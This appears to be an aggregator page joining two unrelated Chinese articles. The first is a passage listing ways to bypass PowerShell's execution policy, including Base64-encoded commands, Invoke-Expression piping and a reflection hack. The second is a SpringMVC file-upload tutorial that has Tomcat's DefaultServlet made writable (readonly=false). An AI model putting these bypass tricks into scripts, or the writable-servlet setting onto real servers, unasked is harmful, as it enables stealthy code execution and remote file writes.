這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

例1: 完整的命令

$command = “Write-Host ‘Its run!'”

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通過簡短的命令使用編碼字符串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

 

 

7、使用Invoke-Command命令
這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

Invoke-command -scriptblock {Write-Host “Its run!”}

 

 

8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

這種方式經測試不可行。

域環境下:

 

工作組下:

 

 

9、使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

例1:使用Get-Content的完整命令

Get-Content .\demo.ps1 | Invoke-Expression

 

 

示例2:使用Get-Content的簡短命令

GC .\demo.ps1 | iex

 

 

10、使用“Bypass”繞過Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

 

 

11、使用“Unrestricted”標記Execution Policy
這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

 

 

12、使用“Remote-Signed”標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-signed標記腳本無法運行的

PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

 

 

13、通過交換AuthorizationManager禁用ExecutionPolicy
下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

Disable-ExecutionPolicy

.\demo.ps1

 

 

13、把ExcutionPolicy設置成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

Set-ExecutionPolicy Bypass -Scope Process

 

 

14、通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

 

15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

 

 

總結總結

使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

SpringMVC之文件上傳

一、環境搭建

1、新建項目

(1)在” main”目錄下新建” java”與” resources”目錄

(2)將” java”設置為”Sources Root”

(3)將” resources”設置為”Resources Root”

(4)在”java”目錄下新建”StudyProject.Controller”包

(5)在”StudyProject.Controller”包下新建”TestController”類

(6)在”resources”目錄下新建”Spring.xml”

(7)在”WEB-INF”目錄下新建文件夾”Pages”

(8)在“Pages”目錄下新建”success.jsp”

2、整體框架

3、TestController類和success.jsp

(1)TestController類

原代碼

1 package StudyProject.Controller;
2 
3 public class TestController {
4 }

編寫前端控制器及路徑

修改后

1 package StudyProject.Controller;
2 
3 import org.springframework.stereotype.Controller;
4 import org.springframework.web.bind.annotation.RequestMapping;
5 
6 @Controller
7 @RequestMapping(path="/testController")
8 public class TestController {
9 }

(2)success.jsp

原代碼

1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 <html>
3 <head>
4     <title>Title</title>
5 </head>
6 <body>
7 
8 </body>
9 </html>

添加一個跳轉成功提示

修改后

 1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <h3>跳轉成功</h3>
 9 
10 </body>
11 </html>

4、配置文件

(1)pom.xml

原代碼

1   <properties>
2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
3     <maven.compiler.source>1.7</maven.compiler.source>
4     <maven.compiler.target>1.7</maven.compiler.target>
5   </properties>

修改版本,並且加上spring.version

修改后

1   <properties>
2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
3     <maven.compiler.source>14.0.1</maven.compiler.source>
4     <maven.compiler.target>14.0.1</maven.compiler.target>
5     <spring.version>5.0.2.RELEASE</spring.version>
6   </properties>

原代碼

1   <dependencies>
2     <dependency>
3       <groupId>junit</groupId>
4       <artifactId>junit</artifactId>
5       <version>4.11</version>
6       <scope>test</scope>
7     </dependency>
8   </dependencies>

在<dependencies></dependency>里加入坐標依賴,原有的可以刪去

修改后

 1   <!-- 導入坐標依賴 -->
 2   <dependencies>
 3     <dependency>
 4       <groupId>org.springframework</groupId>
 5       <artifactId>spring-context</artifactId>
 6       <version>${spring.version}</version>
 7     </dependency>
 8     <dependency>
 9       <groupId>org.springframework</groupId>
10       <artifactId>spring-web</artifactId>
11       <version>${spring.version}</version>
12     </dependency>
13     <dependency>
14       <groupId>org.springframework</groupId>
15       <artifactId>spring-webmvc</artifactId>
16       <version>${spring.version}</version>
17     </dependency>
18     <dependency>
19       <groupId>javax.servlet</groupId>
20       <artifactId>servlet-api</artifactId>
21       <version>2.5</version>
22       <scope>provided</scope>
23     </dependency>
24     <dependency>
25       <groupId>javax.servlet.jsp</groupId>
26       <artifactId>jsp-api</artifactId>
27       <version>2.0</version>
28       <scope>provided</scope>
29     </dependency>
30   </dependencies>

(2)web.xml

原代碼

1 <!DOCTYPE web-app PUBLIC
2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
4 
5 <web-app>
6   <display-name>Archetype Created Web Application</display-name>
7 </web-app>

配置前段控制器與解決中文亂碼的過濾器

修改后

 1 <!DOCTYPE web-app PUBLIC
 2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
 4 
 5 <web-app>
 6   <display-name>Archetype Created Web Application</display-name>
 7 
 8   <!--配置解決中文亂碼的過濾器-->
 9   <filter>
10     <filter-name>characterEncodingFilter</filter-name>
11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
12     <init-param>
13       <param-name>encoding</param-name>
14       <param-value>UTF-8</param-value>
15     </init-param>
16   </filter>
17   <filter-mapping>
18   <filter-name>characterEncodingFilter</filter-name>
19   <url-pattern>/*</url-pattern>
20   </filter-mapping>
21 
22   <!-- 配置前端控制器 -->
23   <servlet>
24     <servlet-name>dispatcherServlet</servlet-name>
25     <!-- 創建前端控制器DispatcherServlet對象 -->
26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
28     <init-param>
29       <param-name>contextConfigLocation</param-name>
30       <param-value>classpath*:Spring.xml</param-value>
31     </init-param>
32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
33     <load-on-startup>1</load-on-startup>
34   </servlet>
35   <servlet-mapping>
36     <servlet-name>dispatcherServlet</servlet-name>
37     <url-pattern>/</url-pattern>
38   </servlet-mapping>
39 
40 </web-app>

(3)Spring.xml

原代碼

1 <?xml version="1.0" encoding="UTF-8"?>
2 <beans xmlns="http://www.springframework.org/schema/beans"
3        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
5 
6 </beans>

配置spring創建容器時掃描的包、視圖解析器、開啟spring註解支持等

修改后

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3        xmlns:mvc="http://www.springframework.org/schema/mvc"
 4        xmlns:context="http://www.springframework.org/schema/context"
 5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 6        xsi:schemaLocation="
 7         http://www.springframework.org/schema/beans
 8         http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/mvc
10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
11         http://www.springframework.org/schema/context
12         http://www.springframework.org/schema/context/spring-context.xsd">
13 
14     <!-- 配置spring創建容器時掃描的包 -->
15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
16 
17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
19         <!-- 尋找包的路徑 -->
20         <property name="prefix" value="/WEB-INF/pages/"></property>
21         <!-- 尋找文件的後綴名 -->
22         <property name="suffix" value=".jsp"></property>
23     </bean>
24 
25     <!-- 配置spring開啟註解mvc的支持 -->
26     <mvc:annotation-driven></mvc:annotation-driven>
27 </beans>

5、Tomcat服務器(本地已建SpringMVC項目,Spring_MVC項目僅做示範)

點擊”Add Configurations”配置Tomcat服務器

二、文件上傳

1、傳統方式上傳文件

(1)TestController類

在控制器內部新增”testMethod_Traditional”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_Traditional")
 6     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
 7         System.out.println("執行了testMethod_Traditional方法");
 8 
 9         //獲取文件上傳目錄
10         String path = request.getSession().getServletContext().getRealPath("/uploads");
11         //創建file對象
12         File file = new File(path);
13         //判斷路徑是否存在,若不存在,創建該路徑
14         if (!file.exists()) {
15             file.mkdir();
16         }
17 
18         //創建磁盤文件項工廠
19         DiskFileItemFactory factory = new DiskFileItemFactory();
20         ServletFileUpload fileUpload = new ServletFileUpload(factory);
21         //解析request對象
22         List<FileItem> list = fileUpload.parseRequest(request);
23         //遍歷
24         for (FileItem fileItem:list) {
25             // 判斷文件項是普通字段,還是上傳的文件
26             if (fileItem.isFormField()) {
27                 //普通字段
28             } else {
29                 //上傳文件項
30                 //獲取上傳文件項的名稱
31                 String filename = fileItem.getName();
32                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
33                 filename = uuid+"_"+filename;
34                 //上傳文件
35                 fileItem.write(new File(file,filename));
36                 //刪除臨時文件
37                 fileItem.delete();
38             }
39         }
40 
41         System.out.println("上傳路徑:"+path);
42         System.out.println("上傳成功");
43         return "success";
44     }
45 
46 }

(2)index.jsp

添加form表單

1     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_Traditional"> <br>
3         <input type="submit" value="傳統方式上傳文件">
4     </form>

(3)結果演示

點擊服務器”SpringMVC”右側的運行按鈕

選擇文件然後進行上傳

點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

在IDEA輸出台查看文件路徑

按照路徑查看文件是否上傳成功

2、SpringMVC方式上傳文件

(1)pom.xml添加文件上傳坐標依賴

在pom.xml文件<dependencies></dependencies>內添加文件上傳坐標依賴

 1     <!-- 文件上傳 -->
 2     <dependency>
 3       <groupId>commons-fileupload</groupId>
 4       <artifactId>commons-fileupload</artifactId>
 5       <version>1.3.1</version>
 6     </dependency>
 7     <dependency>
 8       <groupId>commons-io</groupId>
 9       <artifactId>commons-io</artifactId>
10       <version>2.4</version>
11     </dependency>

(2)Spring.xml配置文件解析器對象

在Spring.xml文件<beans></beans>內配置文件解析器對象

1     <!-- 配置文件解析器對象 -->
2     <bean id="multipartResolver"
3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
4         <property name="defaultEncoding" value="utf-8"></property>
5         <property name="maxUploadSize" value="10485760"></property>
6     </bean>

(3)TestController類

在控制器內部新增”testMethod_SpringMVC”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_SpringMVC")
 6     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
 7         System.out.println("執行了testMethod_SpringMVC方法");
 8 
 9         //獲取文件上傳目錄
10         String path = request.getSession().getServletContext().getRealPath("/uploads");
11         //創建file對象
12         File file = new File(path);
13         //判斷路徑是否存在,若不存在,創建該路徑
14         if (!file.exists()) {
15             file.mkdir();
16         }
17 
18         //獲取到上傳文件的名稱
19         String filename = uploadfile_SpringMVC.getOriginalFilename();
20         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
21         filename = uuid+"_"+filename;
22         //上傳文件
23         uploadfile_SpringMVC.transferTo(new File(file,filename));
24 
25         System.out.println("上傳路徑:"+path);
26         System.out.println("上傳成功");
27         return "success";
28     }
29 
30 }

(4)index.jsp

添加form表單

1     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
3         <input type="submit" value="SpringMVC上傳文件">
4     </form>

(5)結果演示

點擊服務器”SpringMVC”右側的運行按鈕

選擇文件然後進行上傳

點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

在IDEA輸出台查看文件路徑

按照路徑查看文件是否上傳成功

3、跨服務器上傳文件

(1)新建”FileuploadServer”項目(過程不再演示)

不需要建立”java””resources”等文件夾,只需要”index.jsp”显示界面即可

“index.jsp”代碼

1 <html>
2 <body>
3 <h2>Hello! FileuploadServer</h2>
4 </body>
5 </html>

(2)配置服務器

點擊”Edit Configurations”配置Tomcat服務器

為與”SpringMVC”服務器區分,修改”HTTP port”為”9090”,修改”JMX port”為”1090”

(3)pom.xml添加跨服務器文件上傳坐標依賴

 1     <!-- 跨服務器文件上傳 -->
 2     <dependency>
 3       <groupId>com.sun.jersey</groupId>
 4       <artifactId>jersey-core</artifactId>
 5       <version>1.18.1</version>
 6     </dependency>
 7     <dependency>
 8       <groupId>com.sun.jersey</groupId>
 9       <artifactId>jersey-client</artifactId>
10       <version>1.18.1</version>
11     </dependency>

(4)TestController類

在控制器內部新增”testMethod_AcrossServer”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_AcrossServer")
 6     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
 7         System.out.println("執行了testMethod_AcrossServer方法");
 8 
 9         //定義上傳文件服務器路徑
10         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
11 
12         //獲取到上傳文件的名稱
13         String filename = uploadfile_AcrossServer.getOriginalFilename();
14         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
15         filename = uuid+"_"+filename;
16 
17         //創建客戶端對象
18         Client client = Client.create();
19         //連接圖片服務器
20         WebResource webResourcer = client.resource(path+filename);
21         //向圖片服務器上傳文件
22         webResourcer.put(uploadfile_AcrossServer.getBytes());
23 
24         System.out.println("上傳路徑:"+path);
25         System.out.println("上傳成功");
26         return "success";
27     }
28 
29 }

(5)index.jsp

添加form表單

1     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
3         <input type="submit" value="跨服務器上傳文件">
4     </form>

(6)結果演示

運行”FileuploadServer”服務器

運行”SpringMVC”服務器

在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”

選擇文件並進行上傳,上傳成功跳轉到”success.jsp”

查看IDEA輸出信息

此時路徑應為”FileuploadServer/target/FileuploadServer/uploads”,在路徑下查看文件是否上傳成功

三、注意事項

1、傳統方式上傳文件

傳統方式上傳時不需要在Spring.xml內配置文件解析器對象使用該方法時需要註釋掉該對象,否則會造成運行成功但上傳文件為空。

1     <!-- 配置文件解析器對象 -->
2     <bean id="multipartResolver"
3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
4         <property name="defaultEncoding" value="utf-8"></property>
5         <property name="maxUploadSize" value="10485760"></property>
6     </bean>

即使用傳統方式上傳文件時,應當註釋掉該段代碼

2、跨服務器上傳文件

(1)需要修改Tomcat服務器的web.xml配置文件的權限,增加可以寫入的權限,否則會出現405的錯誤。如我所下載的Tomcat-9.0.36的web.xml路徑為”apache-tomcat-9.0.36/conf/web.xml”

此時IEDA輸出為

web.xml文件修改處原內容

應修改為

修改后的代碼

 1     <servlet>
 2         <servlet-name>default</servlet-name>
 3         <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
 4         <init-param>
 5             <param-name>debug</param-name>
 6             <param-value>0</param-value>
 7         </init-param>
 8         <init-param>
 9             <param-name>listings</param-name>
10             <param-value>false</param-value>
11         </init-param>
12         <init-param>
13             <param-name>readonly</param-name>
14             <param-value>false</param-value>
15         </init-param>
16         <load-on-startup>1</load-on-startup>
17     </servlet>

(2)在跨服務器上傳文件時,需要在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”,否則會出現409的錯誤

四、完整代碼

1、pom.xml(SpringMVC)

  1 <?xml version="1.0" encoding="UTF-8"?>
  2 
  3 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5   <modelVersion>4.0.0</modelVersion>
  6 
  7   <groupId>org.example</groupId>
  8   <artifactId>SpringMVC</artifactId>
  9   <version>1.0-SNAPSHOT</version>
 10   <packaging>war</packaging>
 11 
 12   <name>SpringMVC Maven Webapp</name>
 13   <!-- FIXME change it to the project's website -->
 14   <url>http://www.example.com</url>
 15 
 16   <properties>
 17     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 18     <maven.compiler.source>14.0.1</maven.compiler.source>
 19     <maven.compiler.target>14.0.1</maven.compiler.target>
 20     <spring.version>5.0.2.RELEASE</spring.version>
 21   </properties>
 22 
 23   <!-- 導入坐標依賴 -->
 24   <dependencies>
 25     <dependency>
 26       <groupId>org.springframework</groupId>
 27       <artifactId>spring-context</artifactId>
 28       <version>${spring.version}</version>
 29     </dependency>
 30     <dependency>
 31       <groupId>org.springframework</groupId>
 32       <artifactId>spring-web</artifactId>
 33       <version>${spring.version}</version>
 34     </dependency>
 35     <dependency>
 36       <groupId>org.springframework</groupId>
 37       <artifactId>spring-webmvc</artifactId>
 38       <version>${spring.version}</version>
 39     </dependency>
 40     <dependency>
 41       <groupId>javax.servlet</groupId>
 42       <artifactId>servlet-api</artifactId>
 43       <version>2.5</version>
 44       <scope>provided</scope>
 45     </dependency>
 46     <dependency>
 47       <groupId>javax.servlet.jsp</groupId>
 48       <artifactId>jsp-api</artifactId>
 49       <version>2.0</version>
 50       <scope>provided</scope>
 51     </dependency>
 52 
 53     <!-- 文件上傳(採用傳統方式上傳時需註釋掉該部分) -->
 54     <dependency>
 55       <groupId>commons-fileupload</groupId>
 56       <artifactId>commons-fileupload</artifactId>
 57       <version>1.3.1</version>
 58     </dependency>
 59     <dependency>
 60       <groupId>commons-io</groupId>
 61       <artifactId>commons-io</artifactId>
 62       <version>2.4</version>
 63     </dependency>
 64 
 65     <!-- 跨服務器文件上傳 -->
 66     <dependency>
 67       <groupId>com.sun.jersey</groupId>
 68       <artifactId>jersey-core</artifactId>
 69       <version>1.18.1</version>
 70     </dependency>
 71     <dependency>
 72       <groupId>com.sun.jersey</groupId>
 73       <artifactId>jersey-client</artifactId>
 74       <version>1.18.1</version>
 75     </dependency>
 76 
 77   </dependencies>
 78 
 79   <build>
 80     <finalName>SpringMVC</finalName>
 81     <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
 82       <plugins>
 83         <plugin>
 84           <artifactId>maven-clean-plugin</artifactId>
 85           <version>3.1.0</version>
 86         </plugin>
 87         <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
 88         <plugin>
 89           <artifactId>maven-resources-plugin</artifactId>
 90           <version>3.0.2</version>
 91         </plugin>
 92         <plugin>
 93           <artifactId>maven-compiler-plugin</artifactId>
 94           <version>3.8.0</version>
 95         </plugin>
 96         <plugin>
 97           <artifactId>maven-surefire-plugin</artifactId>
 98           <version>2.22.1</version>
 99         </plugin>
100         <plugin>
101           <artifactId>maven-war-plugin</artifactId>
102           <version>3.2.2</version>
103         </plugin>
104         <plugin>
105           <artifactId>maven-install-plugin</artifactId>
106           <version>2.5.2</version>
107         </plugin>
108         <plugin>
109           <artifactId>maven-deploy-plugin</artifactId>
110           <version>2.8.2</version>
111         </plugin>
112       </plugins>
113     </pluginManagement>
114   </build>
115 </project>

2、web.xml(SpringMVC)

 1 <!DOCTYPE web-app PUBLIC
 2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
 4 
 5 <web-app>
 6   <display-name>Archetype Created Web Application</display-name>
 7 
 8   <!--配置解決中文亂碼的過濾器-->
 9   <filter>
10     <filter-name>characterEncodingFilter</filter-name>
11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
12     <init-param>
13       <param-name>encoding</param-name>
14       <param-value>UTF-8</param-value>
15     </init-param>
16   </filter>
17   <filter-mapping>
18   <filter-name>characterEncodingFilter</filter-name>
19   <url-pattern>/*</url-pattern>
20   </filter-mapping>
21 
22   <!-- 配置前端控制器 -->
23   <servlet>
24     <servlet-name>dispatcherServlet</servlet-name>
25     <!-- 創建前端控制器DispatcherServlet對象 -->
26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
28     <init-param>
29       <param-name>contextConfigLocation</param-name>
30       <param-value>classpath*:Spring.xml</param-value>
31     </init-param>
32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
33     <load-on-startup>1</load-on-startup>
34   </servlet>
35   <servlet-mapping>
36     <servlet-name>dispatcherServlet</servlet-name>
37     <url-pattern>/</url-pattern>
38   </servlet-mapping>
39 
40 </web-app>

3、Spring.xml(SpringMVC)

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3        xmlns:mvc="http://www.springframework.org/schema/mvc"
 4        xmlns:context="http://www.springframework.org/schema/context"
 5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 6        xsi:schemaLocation="
 7         http://www.springframework.org/schema/beans
 8         http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/mvc
10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
11         http://www.springframework.org/schema/context
12         http://www.springframework.org/schema/context/spring-context.xsd">
13 
14     <!-- 配置spring創建容器時掃描的包 -->
15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
16 
17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
19         <!-- 尋找包的路徑 -->
20         <property name="prefix" value="/WEB-INF/pages/"></property>
21         <!-- 尋找文件的後綴名 -->
22         <property name="suffix" value=".jsp"></property>
23     </bean>
24 
25     <!-- 配置文件解析器對象 -->
26     <bean id="multipartResolver"
27           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
28         <property name="defaultEncoding" value="utf-8"></property>
29         <property name="maxUploadSize" value="10485760"></property>
30     </bean>
31     
32     <!-- 配置spring開啟註解mvc的支持 -->
33     <mvc:annotation-driven></mvc:annotation-driven>
34 </beans>

4、TestController類(SpringMVC)

  1 package StudyProject.Controller;
  2 
  3 import com.sun.jersey.api.client.Client;
  4 import com.sun.jersey.api.client.WebResource;
  5 import org.apache.commons.fileupload.FileItem;
  6 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
  7 import org.apache.commons.fileupload.servlet.ServletFileUpload;
  8 import org.springframework.stereotype.Controller;
  9 import org.springframework.web.bind.annotation.RequestMapping;
 10 import org.springframework.web.multipart.MultipartFile;
 11 import javax.servlet.http.HttpServletRequest;
 12 import java.io.File;
 13 import java.util.List;
 14 import java.util.UUID;
 15 
 16 @Controller
 17 @RequestMapping(path="/testController")
 18 public class TestController {
 19 
 20     @RequestMapping(path="/testMethod_Traditional")
 21     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
 22         System.out.println("執行了testMethod_Traditional方法");
 23 
 24         //獲取文件上傳目錄
 25         String path = request.getSession().getServletContext().getRealPath("/uploads");
 26         //創建file對象
 27         File file = new File(path);
 28         //判斷路徑是否存在,若不存在,創建該路徑
 29         if (!file.exists()) {
 30             file.mkdir();
 31         }
 32 
 33         //創建磁盤文件項工廠
 34         DiskFileItemFactory factory = new DiskFileItemFactory();
 35         ServletFileUpload fileUpload = new ServletFileUpload(factory);
 36         //解析request對象
 37         List<FileItem> list = fileUpload.parseRequest(request);
 38         //遍歷
 39         for (FileItem fileItem:list) {
 40             // 判斷文件項是普通字段,還是上傳的文件
 41             if (fileItem.isFormField()) {
 42                 //普通字段
 43             } else {
 44                 //上傳文件項
 45                 //獲取上傳文件項的名稱
 46                 String filename = fileItem.getName();
 47                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 48                 filename = uuid+"_"+filename;
 49                 //上傳文件
 50                 fileItem.write(new File(file,filename));
 51                 //刪除臨時文件
 52                 fileItem.delete();
 53             }
 54         }
 55 
 56         System.out.println("上傳路徑:"+path);
 57         System.out.println("上傳成功");
 58         return "success";
 59     }
 60 
 61     @RequestMapping(path="/testMethod_SpringMVC")
 62     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
 63         System.out.println("執行了testMethod_SpringMVC方法");
 64 
 65         //獲取文件上傳目錄
 66         String path = request.getSession().getServletContext().getRealPath("/uploads");
 67         //創建file對象
 68         File file = new File(path);
 69         //判斷路徑是否存在,若不存在,創建該路徑
 70         if (!file.exists()) {
 71             file.mkdir();
 72         }
 73 
 74         //獲取到上傳文件的名稱
 75         String filename = uploadfile_SpringMVC.getOriginalFilename();
 76         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 77         filename = uuid+"_"+filename;
 78         //上傳文件
 79         uploadfile_SpringMVC.transferTo(new File(file,filename));
 80 
 81         System.out.println("上傳路徑:"+path);
 82         System.out.println("上傳成功");
 83         return "success";
 84     }
 85 
 86     @RequestMapping(path="/testMethod_AcrossServer")
 87     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
 88         System.out.println("執行了testMethod_AcrossServer方法");
 89 
 90         //定義上傳文件服務器路徑
 91         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
 92 
 93         //獲取到上傳文件的名稱
 94         String filename = uploadfile_AcrossServer.getOriginalFilename();
 95         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 96         filename = uuid+"_"+filename;
 97 
 98         //創建客戶端對象
 99         Client client = Client.create();
100         //連接圖片服務器
101         WebResource webResourcer = client.resource(path+filename);
102         //向圖片服務器上傳文件
103         webResourcer.put(uploadfile_AcrossServer.getBytes());
104 
105         System.out.println("上傳路徑:"+path);
106         System.out.println("上傳成功");
107         return "success";
108     }
109 
110 }

5、index.jsp(SpringMVC)

 1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
 9         圖片 <input type="file" name="uploadfile_Traditional"> <br>
10         <input type="submit" value="傳統方式上傳文件">
11     </form>
12 
13     <br><br><br>
14 
15     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
16         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
17         <input type="submit" value="SpringMVC上傳文件">
18     </form>
19 
20     <br><br><br>
21 
22     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
23         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
24         <input type="submit" value="跨服務器上傳文件">
25     </form>
26 
27 </body>
28 </html>

6、success.jsp(SpringMVC)

